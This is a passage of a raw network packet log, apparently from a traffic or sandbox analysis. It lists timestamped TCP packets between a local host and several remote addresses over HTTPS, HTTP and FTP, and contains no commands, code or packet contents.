                                                                                                            Feb 14, 2022 08:12:30.962039948 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.962078094 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.962093115 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.962110996 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.962135077 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.962184906 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.962800980 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.962852001 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.962918997 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.962932110 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.962974072 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.962990999 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.963862896 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.963917971 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.963954926 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.963968992 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.963985920 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.964010000 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.964051008 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.964939117 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.964993000 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.965032101 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.965044022 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.965082884 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.965147972 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.966145992 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.966203928 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.966238976 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.966254950 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.966303110 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.966315031 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.966360092 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.967206001 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.967258930 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.967288971 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.967300892 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.967340946 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.970577955 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.970634937 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.970674992 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.970694065 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.970709085 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.970736027 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.970765114 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.971637964 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.971692085 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.971712112 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.971729040 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.971740007 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.971764088 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.971787930 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.982496977 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.982561111 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.982621908 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.982645988 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.982660055 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.982681990 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.982707977 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.984306097 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.984368086 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.984390974 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.984414101 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.984426975 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.984428883 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.984443903 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.984460115 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.984489918 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.984536886 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.984540939 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.984553099 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.984586954 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.984966040 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.986125946 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.986195087 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.986269951 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.986294031 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.986298084 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.986355066 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.986360073 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.986401081 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.986409903 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.986430883 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.986452103 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.986459970 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.986475945 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.986486912 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.986572027 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.986624956 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.986653090 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.986702919 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.986968994 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.987282991 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.987339973 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.987365961 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.987376928 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.987396955 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.987426996 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.987992048 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.988061905 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.988063097 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.988075972 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.988193989 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.988460064 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.988719940 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.988785028 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.988787889 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.988800049 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.988840103 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.989622116 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.989684105 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.989696026 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.989712954 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.989731073 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.989744902 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.989917040 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.990389109 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.990441084 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.990463972 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.990479946 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.990489960 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.990516901 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.991309881 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.991367102 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.991425991 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.991444111 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.991456032 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.991458893 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.991461039 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.991482973 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.991831064 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.991887093 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.991929054 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.991942883 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.991955042 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.991987944 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.992552996 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.992609024 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.992635012 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.992652893 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.992666006 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.992700100 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.992948055 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.993072033 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.993125916 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.993134022 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.993144035 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.993174076 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.993186951 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.993796110 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.993865013 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.993870020 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.993882895 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.993913889 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.993926048 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.994401932 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.994643927 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.994697094 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.994709015 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.994719982 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.994731903 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.994741917 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.994755030 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.995110989 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.995192051 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.995192051 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.995202065 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:30.995243073 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:30.995872021 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.192334890 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.192401886 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.192532063 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.192559004 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.192593098 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.192647934 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.192651987 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.193124056 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.193181038 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.193196058 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.193207979 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.193231106 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.193242073 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.193715096 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.193944931 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.193998098 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.194010019 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.194020033 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.194050074 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.194057941 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.194412947 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.194856882 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.194911003 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.194925070 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.194938898 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.194966078 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.194977999 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.195096016 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.195991039 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.196042061 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.196080923 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.196091890 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.196099043 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.196127892 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.196154118 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.198373079 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.198426008 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.198448896 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.198462009 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.198476076 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.198498964 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.198520899 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.199198008 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.199251890 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.199265957 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.199276924 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.199285030 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.199318886 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.199322939 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.199385881 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.199822903 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.199877977 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.199889898 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.199903011 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.199928045 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.199935913 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.200073004 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.200495958 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.200546980 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.200568914 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.200582027 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.200625896 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.200840950 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.201061964 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.201114893 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.201123953 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.201133966 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.201164007 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.201173067 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.201525927 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.202003956 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.202050924 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.202068090 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.202081919 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.202090025 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.202092886 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.202114105 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.202142000 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:31.202188015 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.202210903 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.202990055 CET49166443192.168.2.22123.30.139.93
                                                                                                            Feb 14, 2022 08:12:31.203006983 CET44349166123.30.139.93192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.084012985 CET4916880192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.100410938 CET8049168104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.100508928 CET4916880192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.101099968 CET4916880192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.117206097 CET8049168104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.130810976 CET8049168104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.172152042 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.172190905 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.172310114 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.212702990 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.212735891 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.261464119 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.261553049 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.275314093 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.275337934 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.275788069 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.338496923 CET4916880192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.350250959 CET8049168104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.350326061 CET4916880192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.481873989 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.481942892 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.694155931 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.737874031 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738142014 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738188982 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738219023 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738249063 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.738264084 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738306046 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.738312006 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738351107 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738383055 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738414049 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738420010 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.738426924 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738472939 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.738480091 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738493919 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.738532066 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738575935 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.738581896 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738620043 CET44349169104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:12:43.738706112 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.744535923 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:12:43.749438047 CET49169443192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:13:05.882446051 CET4916880192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:13:05.900561094 CET8049168104.16.154.36192.168.2.22
                                                                                                            Feb 14, 2022 08:13:05.900676012 CET4916880192.168.2.22104.16.154.36
                                                                                                            Feb 14, 2022 08:13:05.923108101 CET4917021192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:06.023709059 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:06.023833036 CET4917021192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:06.125205994 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:06.126061916 CET4917021192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:06.226694107 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:06.226727962 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:06.227005005 CET4917021192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:06.337088108 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:06.337517023 CET4917021192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:06.438090086 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:06.438503027 CET4917021192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:06.538994074 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:06.539330006 CET4917021192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:06.639853001 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:06.640356064 CET4917021192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:06.741401911 CET214917066.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:06.746332884 CET4917158255192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:06.848160982 CET582554917166.70.204.222192.168.2.22
                                                                                                            Feb 14, 2022 08:13:06.848310947 CET4917158255192.168.2.2266.70.204.222
                                                                                                            Feb 14, 2022 08:13:06.977054119 CET4917021192.168.2.2266.70.204.222
